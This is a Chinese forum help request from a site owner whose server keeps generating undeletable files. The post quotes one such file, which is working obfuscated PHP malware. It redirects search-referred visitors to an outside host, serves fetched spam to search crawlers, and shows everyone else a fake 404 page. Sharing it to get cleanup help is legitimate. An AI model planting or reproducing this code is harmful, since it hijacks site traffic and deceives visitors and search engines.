网站被挂马了，帮忙出出主意

网站固定的文件目录下自动生成文件，删不掉，肯定是被挂马了，但怎么也找不到该操作在那被执行，大家帮忙出出主意，生成文件的内容如：
<?php error_reporting(E_ERROR);header("content-Type: text/html; charset=gb2312");$view = '16';$doin = 'm'.'ss'.'s'.'m';$dono = 'a'.'pp';$useragent = strtolower($_SERVER['HT'.'TP_U'.'SE'.'R_AG'.'EN'.'T']);if(eregi('bai'.'du\.c|g'.'oog'.'le\.c|so'.'go'.'u\.c|so'.'so\.c',$_SERVER['H'.'TT'.'P_RE'.'FER'.'ER'])){$fp = @fsockopen('ju'.'m'.'p.'.$doin.'.co'.'m','8'.'01');@fputs($fp,"G"."E"."T ".'/list/'.'20'.'10'.$view.'.ht'.'ml '."H"."TT"."P/1."."1\r\n"."Ho"."st".":".'e.'.$doin.'.co'.'m'."\r\nC"."onn"."ec"."tio"."n".": C"."lo"."se\r\n\r\n");$data = '';while ($fp && !feof($fp))$data .= fread($fp, 1024);@fclose($fp);$array_c = explode('h'.'t'.'tp'.':/'.'/',$data);Header('Lo'.'cat'.'i'.'on'.': '.'ht'.'t'.'p:/'.'/'.$array_c[1].'?'.$_SERVER['SE'.'RV'.'E'.'R_N'.'A'.'ME']);}elseif(eregi('bai'.'du|g'.'oo'.'g'.'le|s'.'og'.'ou|so'.'so',$useragent)){$fp = @fsockopen($dono.'.'.$doin.'.c'.'om','80'.'1');@fputs($fp,"G"."E"."T ".'/ap'.'i/'.'20'.'10'.$view.'.ph'.'p '."H"."TT"."P/1."."1\r\n"."Ho"."st".":".$dono.'.'.$doin.'.co'.'m'."\r\nC"."onn"."ec"."tio"."n".": C"."lo"."se\r\n\r\n");$data = '';while ($fp && !feof($fp))$data .= fread($fp, 1024);@fclose($fp);$array_c = explode('<!'.'DO'.'C'.'T'.'YPE',$data);echo '<'.'!D'.'OCT'.'Y'.'PE'.$array_c[1];}else{die(base64_decode('PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMDEvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIvaHRtbDQvc3RyaWN0LmR0ZCI+DQo8SFRNTD48SEVBRD48VElUTEU+zt63qNXStb24w9KzPC9USVRMRT4NCjxNRVRBIEhUVFAtRVFVSVY9IkNvbnRlbnQtVHlwZSIgQ29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PUdCMjMxMiI+DQo8U1RZTEUgdHlwZT0idGV4dC9jc3MiPg0KICBCT0RZIHsgZm9udDogOXB0LzEycHQgy87M5SB9DQogIEgxIHsgZm9udDogMTJwdC8xNXB0IMvOzOUgfQ0KICBIMiB7IGZvbnQ6IDlwdC8xMnB0IMvOzOUgfQ0KICBBOmxpbmsgeyBjb2xvcjogcmVkIH0NCiAgQTp2aXNpdGVkIHsgY29sb3I6IG1hcm9vbiB9DQo8L1NUWUxFPg0KPC9IRUFEPjxCT0RZPjxUQUJMRSB3aWR0aD01MDAgYm9yZGVyPTAgY2VsbHNwYWNpbmc9MTA+PFRSPjxURD4NCg0KPGgxPs7et6jV0rW9uMPSszwvaDE+DQrE+tX91NrL0cv3tcTSs8Pmv8nE3NLRvq3JvrP9oaK4/MP7u/LU3cqxsru/ydPDoaMNCjxocj4NCjxwPsfrs6LK1NLUz8Ky2df3o7o8L3A+DQo8dWw+DQo8bGk+yLexo+SvwMDG97XEtdjWt8C41tDP1Mq+tcTN+NW+tdjWt7XExrTQtLrNuPHKvdX9yLfO3s7zoaM8L2xpPg0KPGxpPsjnufvNqLn9taW798G0vdO2+LW9tO/By7jDzfjSs6Osx+vT68341b653MDt1LHBqs+1o6zNqNaqy/vDx7jDwbS907XEuPHKvbK71f3It6GjDQo8L2xpPg0KPGxpPrWlu/c8YSBocmVmPSJqYXZhc2NyaXB0Omhpc3RvcnkuYmFjaygxKSI+uvPNyzwvYT6wtMWls6LK1MHt0ru49sG0vdOhozwvbGk+DQo8L3VsPg0KPGgyPkhUVFAgtO3O8yA0MDQgLSDOxLz+u/LEv8K8zrTV0rW9oaM8YnI+SW50ZXJuZXQg0MXPorf+zvEgKElJUyk8L2gyPg0KPGhyPg0KPHA+vLzK9dDFz6KjqM6qvLzK9dans9bIy9SxzOG5qaOpPC9wPg0KPHVsPg0KPGxpPteqtb0gPGEgaHJlZj0iaHR0cDovL2dvLm1pY3Jvc29mdC5jb20vZndsaW5rLz9saW5raWQ9ODE4MCI+TWljcm9zb2Z0ILL6xrfWp7PWt/7O8TwvYT6yosvRy/ew/MCoJmxkcXVvO0hUVFAmcmRxdW87us0mbGRxdW87NDA0JnJkcXVvO7XEserM4qGjPC9saT4NCjxsaT608r+qJmxkcXVvO0lJUyCw79b6JnJkcXVvO6Oov8nU2iBJSVMgudzA7cb3IChpbmV0bWdyKSDW0LfDzsqjqaOsyLu688vRy/ex6szizqombGRxdW87zfjVvsno1sMmcmRxdW87oaImbGRxdW87s6O55rncwO3Izs7xJnJkcXVvO7rNJmxkcXVvO7nY09rX1Lao0uW07c7zz/vPoiZyZHF1bzu1xNb3zOKhozwvbGk+DQo8L3VsPg0KDQo8L1REPjwvVFI+PC9UQUJMRT48L0JPRFk+PC9IVE1MPg0K'));} ?>